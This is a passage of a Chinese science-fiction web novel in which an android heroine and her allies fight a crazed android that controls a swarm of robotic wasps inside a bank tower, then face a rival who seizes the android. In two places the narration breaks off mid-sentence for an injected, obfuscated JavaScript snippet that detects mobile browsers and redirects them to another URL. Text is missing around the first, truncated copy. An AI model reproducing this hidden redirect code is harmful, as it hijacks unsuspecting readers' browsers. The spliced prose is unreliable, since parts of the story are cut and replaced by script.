周向青简直不敢相信,这个仿生人帮助易谦明收集、分析了无数人的资料,和易谦明一样了解每一个在人才贸易银行中的名字,同时也是易谦明认为的,取代了他自己的阴影。 而这个阴影居然真的就在吞噬易谦明自己。这不能不是一种可笑、可悲、可怜的景象。 而这个阴影,也正是怀有周向青寻求的线索的,“老旧的机器人”。 周向青盯着那张沾满鲜血的脸。 对方停止进食,抬起了眼睛。浑浊的黄色眼珠愣愣地瞪着她。 “快走啊!傻姑娘!趁现在快走啊!”郑小楼在后面喊道。她和关铁震已经逃到了门口。 如果你最后找到的不过是一台老旧的机器人,而它又偏偏掌握着你的全部过去,你会怎么办? 易谦明昨晚提出这个问题时,她实际上并不知道应该如何回答。 但如今,是她面临抉择的关头。 而她的答案是—— 周向青突然出拳。 这一拳就像是要把这几天的困惑、不快、愤怒、后悔的心情发泄出去一样,裹着劲风,直击对方的面门。 而对方如青蛙般猛地向后跃去,离开了易谦明的残躯。同时伸出沾着血的左手,接住周向青左拳的一击。随后一压一错,五指直接叨住她的手腕,裂开白森森的牙齿,一口对着她的左臂咬了下去。 周向青的左拳原本就是一个诱饵。在对方咬向她左手的同时,她的右拳直锤向对方的小腹。虽然那仿生人早已失去理智,但仍然保留的战斗意识操纵着他的身体,用更大的力量一拉一带,同时右手一把抓住周向青的左肩,任由周向青这一拳打中他的腹部。 她的拳锋撕开了他肚子上的肌肉,而他也一口咬中周向青的左肩。只不过周向青并不是“人”,同时还穿着统修会给她的那一身护甲。 这一咬只是让牙齿陷进护肩上的立场生成器。而周向青反而接着这个机会左腕一转,一道蓝色的刀刃切向对方的脖颈。 对方松开牙齿,一推她的身体,同时缩回脖子。 刀刃堪堪从那溃烂的鼻子当中切过,发出一阵焦糊味。 周向青紧追着对方后退的步伐,上身俯冲,左腕反勾对方腿部。对方身子正在半空,无从借力;但此时成群的黄蜂已经形成一道漆黑的湍流,硬生生将对方重新卷入黑暗之中。周向青这一勾只勾了个空。 对方虽然已经疯了,但身手和思维仍然如此灵活。而且还和蜂群融为一体。 它毕竟是“那个人”送给易谦明的仿生人。 是她的同类。 蜂群搅动了几个回旋,猛地掀起一道巨浪,劈面向她压了过来。 姜原定了定神,重新确认了一遍之后,拉开了防火门。这里的确什么都没有了。黄蜂、仿生人,都不见了。只有刚才丢下的手电筒就安静地躺在地上。他捡起来,推了几下开关,拍了拍,电筒亮了。电磁脉冲造成的范围性临时停电正在逐渐恢复。远处的灯也一盏盏地亮了起来。 那浓浓的黄雾还在。他侧耳细听,能听到头顶上方通风管里有细微的声响。黄蜂们和那仿生人大概就是从那里撤走的。那个“人”居然不走楼梯,而是把通风管作为自己的通道。 真是诡异。 更诡异的是,这个犹如异形蜂王的东西,到底是出于什么样的理由把那些黄蜂全部带走呢?或者说,从一开始,它到底是在搜索什么呢? 难道那个异形的蜂王还真的对什么别的东西有异常的兴趣吗? 而从他们离开,再到他们回来,也只有几个小时时间。这么短的时间事态就会恶化成这个样子吗? 姜原猜不透。 他也没时间考虑。他回到白少俊的身边,想看看这个疑心病还有没有救,但白少俊已经只剩森森的白骨。姜原俯下身,捡起白骨身边的榴弹发射器。然后把空壳退出,背在肩上。事到如今,这玩意已经没什么大用,但至少能用来对付易谦明。 他的耳边突然响起了电流和吱吱声。他的无线通话机终于收到了信号。虽然根本听不清,但那的确是人说话的声音。 “但我始终……招募……的确……不好找……” “我是……我是汤元!听得到吗?你们听得到吗?”姜原急忙喊道。 除了白少俊的通话机传出同样的语音外,仍然是那断断续续的对话声。对方似乎听不到他的声音。 他急忙返回消防通道。在推开防火门的时候,果然听到了更清晰的谈话声。 “……我想要抓住自己能触及的所有机会,但是我又不知道怎么把这些机会变成确实的好处,最后只能眼睁睁地看着它们从指缝里溜走……” 声音听起来有点远。这不是关铁震自己在说话。那么……是易谦明吗?他们居然找到了易谦明? 姜原看了看楼梯井下方。下面没有什么动静。 “……我们在这个城市里没有未来。我们跟这个世界没有什么联系……我们的生命——没有价值。” 易谦明说话的语气似乎是想煽动什么情绪。但奇怪的是,关铁震和郑小楼都没有反驳。到底怎么了?姜原感到莫名地很不耐烦。他快步下楼。 但他在通话机里听到一些悉悉索索的声音。似乎是什么东西抬了起来,然后是咔哒咔哒微微抖动的声音。 “喂——”他刚刚想说什么,却听到喇叭另一侧传来砰的爆炸声。 怎么了?是谁开的枪?姜原不由得停下了脚步。 “又是你……” “我想怎么办由不得你。何况你昨晚不是还说,他才是你?……” 这是一个熟悉的女声。 ……是周向青?她怎么出来了?铸造局把她放了?就在审判之前? 这不合理。难道她自己逃出来了?因为担心他对易谦明动手吗?不过这样也好,如果她能在自己赶到之前问出信息,那么自己也不必太过顾忌。 姜原匆匆下楼。 现在是73层。 “……你恨的是,你认为夺走了你自己的,但也是给了你阿福的人。马德兰。” 72层。 “……我虽然不过是个小人物……但这方案是我提出来的!这是我的点子!我的!” 71层。 “给我什么东西?关于你的?我从来没听他谈过你。我——”易谦明的话只说了半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自杀了?蜂群找的不是周向青,而是易谦明?就算他害怕,为什么不逃出去?那么一点刺激真的就能让蜂群无差别的…… 等等。 这是不是太巧了一点? 柳怀石知道他们第一次潜入银行大楼的事,反而在外面等着,提出条件;而第二次潜入银行大楼后,蜂群居然已经是失控的状态,就算他们不来,易谦明说不定也会搞不好就命丧黄泉。 这是不是真的太巧了一点? “现在只剩那些黄蜂和一个可怕的家伙,在和一个女人打斗。那根本就不是我们能参合的事……什么嘛,居然有那种人……”关铁震并不知道姜原的脑子里现在正在思考什么问题,兀自喃喃抱怨道。 周向青在跟那个仿生人打斗吗?她要干什么?招惹那东西有什么好处?但那黄蜂可不是好处理的。他的电磁武器可能当量太小,没法一下就把那个仿生人控制住。至少刚才就是这样。 而且那铺天盖地的蜂群实在是恐怖,他们昨天靠风道才…… 姜原的脑内突然灵光一闪。 “我们就从这里下去吧。趁还没引起注意。不然铸造局知道了就麻烦了。”关铁震又说。“总之……我们不想再参与了。你的事情我也不参与了。” “白少俊也死了。”姜原简短地回道。 对讲机里沉默了。 “刚才的情况,我听到了一部分。我知道你们为什么……沮丧。”姜原在选择应该使用什么样的措辞。他需要把这两个人留下来。 他有一个对抗蜂群的绝妙点子。同时也有了对这个事件的大胆想法。 “那天在大桥下面,你们几个人救了我一命。拿易谦明那个蚁后工蚁的例子来说,你们四个人在我这里的价值,无论多高都不为过。我永远感激你们。所以我想帮你们争取一个机会。一个能够矫正过去,让我们对于其他人也拥有价值的机会。白兄,还有和马老爷子,一定会支持我们抓住这个机会的。而我们只需要做一件事。就能把我们自己从这种人生中拯救出来。这也是我们对得起他们的最好方式。” 对讲机另一边沉默许久,终于传来了关铁震的声音。 “你要我们干什么?” “打开你们那一层的人孔门。我会给你们发一个信号,标记呼吸周期开始的时间。你们设置好计时,我们必须在呼吸周期开始之前打开人孔门,这样才能先形成一个正气压,让足够的空气进入楼层,在负压的时候才能把……” “可人孔门就在里面。”关铁震说。“里面全都是那些黄蜂——” “没问题。我们能做到。”郑小楼打断了关铁震的话。 好。这样应该就可以了。这样一来,他就能在帮周向青一把的同时,有时间去捋清一些事情。姜原回身穿过70层的消防门,找到这一层的人孔盖板,打开门,钻了出去。 风声在他耳边呼呼地响。 不,这是这栋大楼的呼吸声。每一次呼吸,都是它生命存在的证明。 它活着。它是易谦明价值评级帝国的中枢。它是心脏,也是大脑。它也是可控自动化军工复合体中,每一个人的合体。 它就是他们每一个人。 像这样一个伟大的创造,如何能不让人们动情呢? 而要打败这样伟大的敌人,除了依靠敌人自己,还有什么办法呢? 姜原设好手表上的倒计时,在新一次的呼吸声响起时,按下了计时键。他匆匆奔回楼梯井,擦亮一枚荧光棒,在呼吸周期倒计时结束的同时,扔了下去。 好,这样他就可以去干自己的事。 去验证一下自己刚才的想法。 ### 关铁震站在楼梯井里,焦急地望着上方。 他的眼前只有一片漆黑。姜原的信号还没有到。他试着用无线电呼叫了几声,但听筒里没有应答。显然是因为电波又被什么东西干扰了。他望着上方等待着,几乎认为那个信号不会来了。 他知道在此同时,黄蜂正在不断从天花板的裂缝中涌进房间,而他和那可怕的蜂群之间只有一道薄薄的防火门。以及一个临时冲进来的,莫名其妙的女人。而姜原让他们打开的人孔门,就在那里面。 他真的应该这样等下去吗?等下去真的有改变什么的希望吗? 他刚才险些因为易谦明短短一段话而失去了自我。 不。他那样算不上什么失去。 他本来就是一个庸庸碌碌活了四十年的人。对方并没有说错。倒不如说,正是因为没有说错,他才无法抵抗。 而这样的他,真的应该在这里等下去吗? 如果他们真的能赢,就算是价值评级系统因此而取消,就能改变他这些年一无所成的事实吗? 他看了看在自己身边的郑小楼。郑小楼的双眼同样盯着上方的黑暗。他不知道她在等待什么。也不知道她现在在想什么。 之前的另一个他,和另一个她,说的话,到底产生了什么样的影响呢? 在关铁震的思绪越来越繁杂的时候,楼梯井的上空亮起一道白光。 一道白光在上空亮起、坠落,在漆黑的楼梯井中划出一道炫目的裂痕。 是汤元给出的信号。 是让呼吸系统周期开始的信号。 而他应该—— 郑小楼已经率先拉开防火门,冲了进去。 85.审判07 防火门内是无边无际的黑色飓风。 易谦明收集的所有资料都被无数黄蜂翅膀拍打引起的风而卷起,在空中哗哗地颤动。在那飓风的中心就是正在搏斗的双方。飓风掀起滔天的恶浪,一次又一次地冲击坚固不移的礁石。礁石虽然屹立不倒,但它的棱角也在一次又一次的冲刷中不断被抹平。 这不是人类能够介入的战争。 这是自然的力量。 人类在这种时候,能做的只有躲向高处,躲向安全的地方,等到一切都风平浪静,再重新开始自己的生活。 这也是自然的选择。 但也有人在这种时候,会抱着一条窄窄的独木舟冲向海浪,试图挑战一下自然的威严。 人孔门的位置每一层都是一样的。 消防楼梯井和消防门在每一层的位置,也是一样的。 不论整个楼层如何布置,如何设计,有多少东西,从消防门赶往人孔门,方向总是一样的。 郑小楼就是顺着这种方向奔向人孔门的位置。尽管整个楼层已经充满了飞舞的黄蜂,她根本看不清任何东西;但她还是跟据自己的记忆,就像暴风雨中的信鸽,飞向记忆中的方向。 这里曾经是易谦明信息的海洋。一个又一个的书桌是海洋中的孤岛,一排又一排的书架是成群的珊瑚。郑小楼就在狂风与巨浪的空隙中,从一个岛跳到另一个岛,在珊瑚从中寻找那个关键的窗口。 黑色的巨浪并不在意她的存在。蜂群并没有把她作为攻击的目标,就像在之前的楼层里一样。它们只是限制了她的视觉和听觉。 郑小楼在书架的珊瑚丛中摸索。虽然她知道人孔门的隐蔽口应该就在这附近,但她在这种环境中不太能确定盖板的位置。说不定是被其中的一个书架挡住了。她沿着地面的导轨,用力推动书架。 但大概是太久没有移动过的缘故,有些锈蚀的滑轮发出刺耳的锐响。 在那黑色的巨浪之中,浮出一双浑黄的眼睛,直勾勾地望着她。 郑小楼一惊。她不知道对方是不是猜到了她的意图。她把手伸向腰带上的电磁脉冲炸弹。但她同时看到了在搅动的海潮中的周向青。 炸弹不会影响到所有的黄蜂,但一定会影响到她。 郑小楼迟疑了。 也就在郑小楼迟疑的那一刻,蜂群已经掀起一股新的飓风,呼啸着向她扑来,黑色的浪潮一瞬间就没过她的腰际。她险些要被冲倒了。无数黄蜂铺天盖地飞向她,无数复眼中映出她惊恐的表情。无数膜翅扇动空气,震耳欲聋的金属嗡嗡声盖住了她的惊叫。黄蜂对着她张开大颚,尾部的毒针也伺机待发。 被惊涛骇浪盯上的独木舟只会在眨眼间碎成千万片。 一张写字台从她面前轰然落下。 厚重的桌面激起短暂的烈风,将黑色的浪暂时劈成两段。 “你回来干什么?” 一个身影打斜刺里冲来,挡在她的前面。 “退开!”周向青喊道。她一脚踩在写字台上,左腕的离子刀刃飞速旋转,在她们身前撑起一把淡蓝色的伞。黄黑色的洪流迎头撞了上去,被切开的浪头碎成电光与火花的雨。其余的则绕开写字台,重新冲回天空,积蓄下一次的冲击的力量。 郑小楼蜷缩着在写字台后。 她只是一个趴在礁石上得以喘息的游客。而她腕表上的数字也在提醒她,她已经错过了第一轮的呼吸周期。 她记得姜原说过,一轮大概是3分钟。 而在下一波涨潮时,她会跟礁石一同被潮水淹没。她必须抢在下一轮周期开始前打开人孔门。 她趁着那淡蓝色的伞为她挡开暴雨的空隙,又去推那书架。 但一双手从雨幕中伸出,掐住了郑小楼的手臂,将她向回卷的洪流中拖去。郑小楼惊叫着奋力挣扎,而周向青的右手逆势插去,抓住了那个仿生人的头。 “你给我出来!” 那人试图挣脱周向青的手臂,但这只战斗特化的手臂力气要比对方大得多。对方竟然一时间没能挣脱,他的半个身子都被拉出蜂群。他头部的外皮已经溃烂脱落,浑黄的眼珠在眼眶中转动、震颤着,用于充当玻璃体的滤光液已经渗了出来,在那团浑黄中凝成蛛网状的红丝。 周向青不知道他还能不能看得清自己。或许他只能凭借蜂群给他的信息来判断自己的位置。 那张脸颊已经撕裂的大口中发出一声尖啸。他放开了郑小楼,两只手掐住周向青的右手手腕,同时两排白森森的牙齿向她的手臂咬去。周向青用力撤回右手,同时左腕的刀刃砍向对方的脖颈。 但那人用力一拧她的手腕,周向青的身体不由自主地向左边转去。她的左手马上改变方向,反手一挥,用刀尖刺向对方的肩膀。 伴着噼啪的电流与焦臭味,周向青知道自己砍中了什么东西。抓着她右臂的手松开了。她顺势关掉刀刃,变砍为抓,同时整个身子拧向左边,挥出右拳。 但对方像断尾的蜥蜴一样,扔下一条臂膀,重新躲进无穷无尽的蜂群之中。 而趁着周向青分神的时机,黑压压的蜂群扑上了郑小楼的身子,用大颚撕咬她身上的潜水服,用尾针蜇刺她裸露的皮肤。她痛苦地在地上翻滚,但仅仅靠自身的重量压坏一批黄蜂并不解决什么问题。 周向青一时也不知该怎么办。她半蹲下身子,单手胡乱在郑小楼身上拍打。因为还有一双眼睛在涌动的黑潮中窥伺着她。等待着下一次袭击的机会。 “让一让!” 一道火舌从侧面喷出,轻轻在郑小楼的身上舔过。短暂的高温使得那些黄蜂暂时停止了运动,像是沙土一样纷纷散落而下。 是关铁震提着他的乙炔喷枪赶了过来。这本用于切开人孔门的工具被他当成武器,向着蜂群胡乱挥舞。焰苗在他手中像是一条绸带,在黄黑的蜂群中增添了一点亮色。 距离下一轮的周期开始只有几十秒。郑小楼又打了几个滚,抖落身上因为升温而芯片宕机的黄蜂,重新爬起来去推那面书架。书架锈涩的轮轴叽叽作响,向一边移去。 而那黑潮中也爆发出同样的刺耳尖叫声,蜂群向着他们重新席卷而来。 那个仿生人,虫群的核心,知道他们在做什么吗? 那双浑黄而布满血丝的眼睛后,真的是一个人在考虑什么吗? 不少黄蜂撞上离子刀刃,被火焰灼伤,但更多的小小昆虫前仆后继。活化机械的运行本能让它们在平时收集信息,就像是蜂群酿蜜一样汇集在那个仿生人的脑袋里;而此时也是同样的本能让它们服从仿生人的指令,用自己的生命保障对方的安全。 而它们所敌对的另一方,是两个靠着寻回自我的意志,克服逃跑本能的人。 “快!只差这一点——”郑小楼拼命推动书架。 周向青一面抵挡蜂群,一面抽出她的右手,按上书架。用以抵挡雨幕的蓝色光伞马上露出一个缺口,而关铁震根本无法填补。 蜂群从那个缺口中汹涌冲入,爬上他们的脊背和头顶。 但书架已经被推开。关铁震也丢下他燃料耗尽的喷枪,忍着痛,和郑小楼一同去撬那块挡板。 距离下一次呼吸还有二十多秒。 从那黑潮之中探出一支手臂,抓住了郑小楼的脚踝。随后那张裂开的大嘴一口咬上了她的脚。尖锐的牙齿刺破了潜水服,让鲜血染红。 周向青没有想到,对方居然会在这一刻改变了攻击的目标。她一时情急,右手扳住仿生人的额头,想把对方拉开;但那仿生人却死不松口,还想把郑小楼拖进虫群。郑小楼腿部的皮肉被撕裂,痛苦的惨叫着。但她撬动挡板的手却没有松。 砰的一声。 盖板弹了起来。关铁震无暇去顾及郑小楼,也不管自己满身满脸的黄蜂,只是拼命去转动人孔门的把手。但呼吸系统似乎已经开始加压,十几个大气压的力量顶在人孔门另一边,防呆设计巨大的摩擦力卡死了把手,关铁震根本无法将其撼动分毫。 “快!”他喊道。“帮我打开这个——” 周向青不及多想。 她右手拉开关铁震的身体,左手腕上的蓝色等离子束像切豆腐一样透过铁门,然后轻轻一转。 被切下的人孔门圆盘被猛烈的气流推动,就像炮弹一样撞在周向青胸前。她直接飞出通道,撞上身后的书架,然后跟书架一同倒了下去。气压在这房间中掀起一股真正意义上的飓风,剥下他们身上的黄蜂,像沙砾一样抛向空中。 那个仿生人也一瞬间失去了用以隐蔽的蜂群,全部身体都暴露在高速气流中。他惊惶地松开了郑小楼的脚,但于其说他是逃向房间的中央,不如说是被气流推向了房间的中央。在这样的风速下,谁都无法控制自己的身体。关铁震紧紧贴在人孔门边的墙上,郑小楼被吹得连续打了几个滚,最后躲在一个倒下的书架边。裹挟着黄蜂、纸张、碎片的狂风掠过他们的潜水服,留下一道道深深的划痕。 房间内的气压不断升高,但风速也越来越慢。 然后,风声变了。 这是呼吸系统排空的声音。 刚刚才动摇一切、卷起一切的风,现在迫不及待地把所有东西送出房间。蜂群就像是奶茶杯中的玄米粒,旋转、翻滚、碰撞着,从那圆圆的人孔吸出,抛向电梯井中的风道。那个仿生人看着眼前的场景,发出一声刺耳的尖叫。 但蜂群此时已经无力回应。 他挤出一声绝望的哀鸣,随后竟自己向着人孔门奔了过去,似乎是想用自己的身体堵住风口。 但周向青从身后一把勾住了他的腿。 那个仿生人重重摔倒在地上。周向青扑过去,按住他。他胡乱挣扎着,裂开的嘴巴乱撕乱咬。周向青迅速用右腿的膝盖牢牢顶住了他的脖颈,让他动弹不得。那一对浑黄的眼睛像是腐烂的葡萄,在周向青膝下微微晃动,不知是在自己的视野中搜索什么东西。 在正式场合中见面的时候,他是阿福,是易谦明忠实的管家。但私下里,他是“那个人”留给易谦明的,用来控制蜂群的工具。而这一次她眼中看到的,只是一台坏掉的机器。 她不由得感到一丝悲凉。这就是他该有的结局吗?她真的应该一刀砍下这个已经坏掉的仿生人的脑袋,然后给它插上电缆,吸收他残存的那点关于易谦明的记忆? 只要她这样做,就能够挽回自己的失败么? 难道真的如易谦明所说,每个人都难免被自己的过去所吞噬? 这算是一种自杀吗? 胖球突然从角落里钻了出来,飞上了她的肩膀。 ### “周向青。姜原。还有其它人。听得到吗?” 房间中突然响起了沙沙的话语声。这声音吓了周向青一跳。她缩回手去,望向关铁震肩头的对讲机。 “是汤老弟吗。”关铁震苦笑着说。“你安排事情的时候,可没想到这么难办啊。而且,你怎么还没过来?” “抱歉。我不姓汤。”对讲机里说道。 关铁震愣了一下,他也意识到,那人的声音和腔调跟姜原并不相同。他脸上变色,问道:“你是谁?你怎么知道我们的频段?” “我嘛,哈哈,你叫姜原和周向青说话。” 关铁震没有听懂对方的意思。但一旁的周向青已经知道那人是谁。 “柳怀石,”周向青大声问,“你要干什么?” 柳怀石在对讲机另一端轻笑了一声。“从无线电可以使用这一点看,蜂群的问题已经解决了。估计你们也完成了我的委托。对此我深表钦佩。只不过,你们的动静实在太大了。铸造局正在封锁人贸银行附近的街区,大概再过半个小时就会展开强攻,你们的旅途也会就此终结。报纸会怎么说呢,统修会圣女谋杀了复合体最大银行的所有人。这实在是非常严重的政治事件。这下——” 周向青恼怒地打断了柳怀石的话:“易谦明不是我杀的!而且要杀他的人不就是你吗?” 柳怀石慢悠悠地回答:“对。但我可没让你越狱。而且也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318041|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没让你把银行的玻璃砸破,触发警报。你把铸造局牵扯进来,想掩盖消息就很难办了。但事情还不是没有挽回的余地。只要你配合,我能让铸造局暂时不要突击,而你老老实实参加审判,就还可以不改变事情原定的方向。” 参加审判? 开什么玩笑。到现在了,这些人还在审判审判说个不停。自己就这样回去的话,难道曹文道和易谦明就白死了吗?如果她不回去,那自己身边这两个人——周向青看了看自己旁边的关铁震和郑小楼。这两个人大概就是姜原之前提到的“四大恶人”的滑稽组合。只是他们刚才的表现可绝对不算是滑稽。今天要不是他们,自己就凶险得很了。 她对着对讲机大声叫道:“姜原!你在听吗?姜原?” 姜原并没有回答。 “他肯定在听。他只是在琢磨他自己的事情而已。跟据信号反应,他还在70层。大概是在研究一些无聊的小玩意。”柳怀石说。 周向青不由得愣住了。姜原到底在干什么?偏偏是在这么凶险的时候,姜原明明在附近,却又没有赶来。他到底在研究什么无聊的小玩意? 周向青无计可施。她之前鼓足的怒气也在这迷惑中跑得一干二净。她只得恨声问道:“你想让我配合什么?” “易谦明的那个仿生人,目前在你手上吗?” “在。” “你先别——” 呼呼的气流声响了起来。压缩机已经完成了这一个呼吸周期内排空的任务,开始为下一个周期做准备。嘈杂的气流开始从被砍开的人孔门冲进来,风速越来越快,又开始扬起屋里的尘土,也几乎盖住了柳怀石的说话声。 关铁震摘下对讲机,丢给周向青。 但即便周向青把对讲机贴在耳边,她也根本无法听清对方的声音。而她也不能离开这里。阿福还在不断地挣扎,她还要让胖球赶快钻进胸甲间的缝隙,根本没办法把注意力移开。而关铁震和郑小楼此时也没办法脱身,因为房间里的风速越来越快,同时气流也不断地把书架推来推去。在这种风中乱跑可有生命危险。远处的防火门也被风压推得咚咚直响。不少空气也灌进了通风管道,他们能听到里面风压变化的呜呜声。 房间的通风系统已经与大楼的呼吸系统通过这个人孔门相连接,所幸呼吸系统尚不至于在一个呼吸周期里就抽走这里所有的空气。尘土和几只黄蜂又被风从人孔中送了回来,大概它是被呼吸系统从外面吸进来的。 阿福转动眼珠,喉咙里发出呜呜的喊声。他似乎感应到了附近黄蜂的存在。周向青看着这个仿生人,她无法想象到底是什么让他一夜之间就变成这个样子。她脑中隐隐约约浮现出“自动化大崩溃”六个字,但她内心并不愿意承认。如果有一个能够让仿生人直接崩溃的契机,那么是不是自己也会在某个时刻变成这个样子? 天。那些人还要审判她。 而这阿福……岂不就是一个能够证明她有罪的证据?曹文道说的,把她脑子烧坏,身体压成碎片,真的会发生吗? 周向青努力把目光从这个怪物身上移开。但在她在抬起目光的一瞬,意识到郑小楼和关铁震都在盯着她。 她似乎能听到他们在说:“原来仿生人就是这样的。” 就在此时,风中突然传出尖锐金属铃响。三个人同时扭头看去,只见电梯门正缓缓打开,从灯火通明的电梯轿厢中走出一个人。 柳怀石来了。 虽然这一层内仍然狂风肆虐,但柳怀石并不以为意。他只是走向周向青,看了看她压制着的阿福,然后抬起一条眉毛。柳怀石的嘴唇动了动,似乎在说着什么,但风声太大,周向青根本听不清。 她只看到,柳怀石的身后还有一个屹立着的高大身影,那身影紧紧裹着一袭黑色的披风,衣角在风中猎猎抖动。 柳怀石抬起两根手指,在空中轻轻点了点。 他身后那个人影当即俯下身来,左手从披风中抽出一支短短的探针,缓缓插进阿福的后颈。刚才还在挣扎的阿福,宛如一瞬间被抽走了灵魂,整个身体都软了下去。 “你干什么!”周向青惊道。 但那个裹着披风的人只是轻轻推动周向青的肩头,让她离开。周向青看到对方伸出的手,愣住了。 那条手臂跟柳怀石送她的右手一模一样。 周向青顺着那条手臂望向对方的脸,果然,就是那天柳怀石取下手臂的那个女性外表的仿生人。 柳怀石带她来干什么? 周向青震惊之下,瞪着眼看她把阿福扛在肩头,走向电梯。柳怀石则向周向青微笑点头,随后和关铁震、郑小楼做了个手势,让他们跟自己一起走。他并没有对易谦明残留的血迹多看一眼。 电梯不下反上。楼层显示的数字一个一个增加,最后在70的位置停下了。周向青不知道柳怀石来这里是要干什么。但柳怀石率先走出电梯,那个扛着阿福的仿生人女性则紧紧跟在他的后面。 周向青也只得跟了上去,跟着柳怀石一直走向70层易谦明用来跟他们见面的大餐厅。 郑小楼跟在周向青身后,悄悄问道:“这位是你的朋友?” “不是。”周向青回答。 柳怀石的确帮了她不少忙。而且也对她的确不错,但也是因为有求于她。柳怀石似乎是个比姜原更高明的专家,尤其了解仿生人的事情;也因此,他想让她否认仿生人能够与活化机械相连接,以便复合体解开对算力的政策限制。 至少柳怀石自己是这么说的。 同时柳怀石想让姜原帮他解决易谦明,因为董事会想要接管人才贸易银行。某种程度上,柳怀石就是来继承易谦明的遗产的。而这也是“那个人”的遗产。周向青从自己的思考中感到一种隐约的不快。这种不快并不是因为她把那个人的“遗产”视为自己的禁脔,而是因为她隐约觉得,她忘记了什么至关重要的东西。她这些天一直被这些事情,这些谜题推着走。 她似乎忘记了什么真正需要记住的事情。 86.审判08 柳怀石带着所有人来到了易谦明的酒吧。 姜原正像酒保一样靠在吧台上,等着他们。空气连续换过几轮之后,黄色的雾气已经被清理干净,代价是所有东西都乱七八糟,而且蒙了一层的灰土。 柳怀石大大咧咧地走过去,径自坐在吧台前的圆形高脚凳上。而扛着阿福的黑披风就紧紧跟在他身后。 周向青并没有跟过去。 她从胸前掏出胖球,轻轻挠着它头顶和脖子上的毛,好安抚一下它的情绪。她现在心乱如麻。易谦明死了,阿福崩溃了,而柳怀石和姜原两个人居然泰然自若,好像什么事都没发生。 同时关铁震和郑小楼也坐在另一张桌边,他们在检查郑小楼的伤口。 “任务完成啦。”柳怀石对姜原说。 “恭喜你。”姜原答道。 “谢谢,”柳怀石说,“但这还是多亏了你们。” “我其实没做什么。你应该是多亏了她们才对。”姜原看了周向青一眼。 柳怀石道:“那是自然。但如果没有你,结果也不会如此顺理成章。我答应你的条件仍然有效。” 姜原点了点头。“你可真是大度。” “一般般吧。今天的事情结束之后,楼下的机房随你使用。反正人才贸易银行的业务要暂停几天。时间充裕,你就好好利用吧。向青明天的审判,我会作为特别观察员出庭作证。而他们两位——我可以从银行里给他们拨一点款子聊表谢意。”柳怀石说到这里,转过身,对关铁震和郑小楼微微一笑。 郑小楼并没答话。关铁震只是点了点头,说:“那真的非常感谢。”关铁震的语气中没有多少感谢的意思,柳怀石自然也听得出来,但他并不在乎。他只是愉快地转回身,看着姜原的脸,微笑着。他油腻腻的头发和缠着胶布的眼镜,让他的笑容更加自信。 “我给你调杯酒吧。”姜原突然说起不知什么鬼话。 “哦?你还会调酒吗?” “刚刚在这里学的。”姜原说。 柳怀石眨了眨眼,点头道:“好啊。那就提前庆祝一下好了。” 姜原回过身去,在吧台上拿下几个玻璃瓶,把里面的液体分别量出少许,逐一加入不锈钢摇壶。柳怀石饶有兴趣地看着姜原像模像样地摇酒,然后把里面的混合物倒进酒杯。 “请用。”他对柳怀石说。 一张雪白的杯垫铺上茶色的吧台,随后咚的一声,在那杯垫正中置下一个酒杯。杯中不见一滴酒,只有一个小小的黑色装置在弧形的杯底滑来滑去。 而柳怀石只是瞟了酒杯一眼,然后慢慢摘下他的眼镜,哈了口气,用衣襟擦了擦。他的眼镜上还跟列车上一样缠着胶布。他擦完眼镜,小心地戴回鼻梁上,然后对着酒杯伸出手去。 但一只手截过来,笼住了杯口。 姜原俯下身,问:“你知道这杯酒叫什么名字吗?” 柳怀石抬起眼皮,答道:“不知道。” “那这一杯还是我自己喝吧。”姜原把杯子拉回自己面前,然后又从吧台后端出一杯酒,推向柳怀石。这一杯酒没什么颜色,也没什么装饰。 柳怀石看都不看,直接端起来,往口中一倒,吞了下去。 几乎于此同时,他们头顶上方响起了嗡嗡的声音。像是有什么人正在用钻头钻破墙壁。天花板微微震动,一些尘土落在吧台上,掉在酒杯里。柳怀石把酒杯放回桌上,站起身来,说:“看来差不多到时候了。” 柳怀石身后的仿生人听到这句话,便把肩上的阿福卸下,扔上吧台。 砰的一声,柳怀石面前的酒杯被砸了个粉碎。还好姜原动作较快,早把之前的小装置收了起来。阿福的四肢软软下垂,袒露出他的胸膛。而仿生人从披风中抽出一柄细细的小刀,划开了阿福胸前的衣服。只见在那衣服下,是一块整整齐齐切开但是又缝合的皮肤。一定是曾经有什么人切开那里,做了什么改动。而那细细的小刀就冲着那到缝线切了下去。 周向青的右手早在她的脑子之前行动起来。她丢开胖球,斜刺里一个箭步插来,在刀尖切开皮肤之前,抓住了那左手的手腕。 胖球在餐厅中打了个旋,落回周向青的肩头。 此时,那个仿生人的眼睛才慢慢转了过来,望着她,一言不发。 “你们要干什么?”周向青问。 尽管答案是很明显的。 “如果我要接手人才贸易银行,那显然不是就靠我自己就行的。”柳怀石转过身子,对周向青说。 “但你就不能——”周向青没能说下去。 “他已经废掉了,留着他也没什么用。”柳怀石淡淡地回答。“但他脑子里还存有很多宝贵的信息,也肯定能挖出你想要的东西。” 周向青慢慢松开右手,向后退了一步。 随后她对着柳怀石翘起的嘴角一拳打了过去。 但她的拳头在距离柳怀石很远的地方就被拦住了。是柳怀石的仿生人早把手术刀插在阿福胸口,然后腾出手架住了这一击。她看了看周向青的右臂,又看了看自己仅剩的左手,突然对柳怀石说道:“我一直以为你把我的手给了什么了不起的尤物呢,原来只是这种玩偶一样的小姑娘?” 周向青没办法对对眼前的这个仿生人动手。她只好收回手去。但胖球却张开翅膀,威吓似地叫了一声。 柳怀石笑了笑。“这可是个相当不错的小姑娘。至少很耿直。”他看了看周向青肩头的八哥,又说:“而且还有一只不错的小鸟。” 周向青没有答话,恨恨地退回自己原来的椅子。 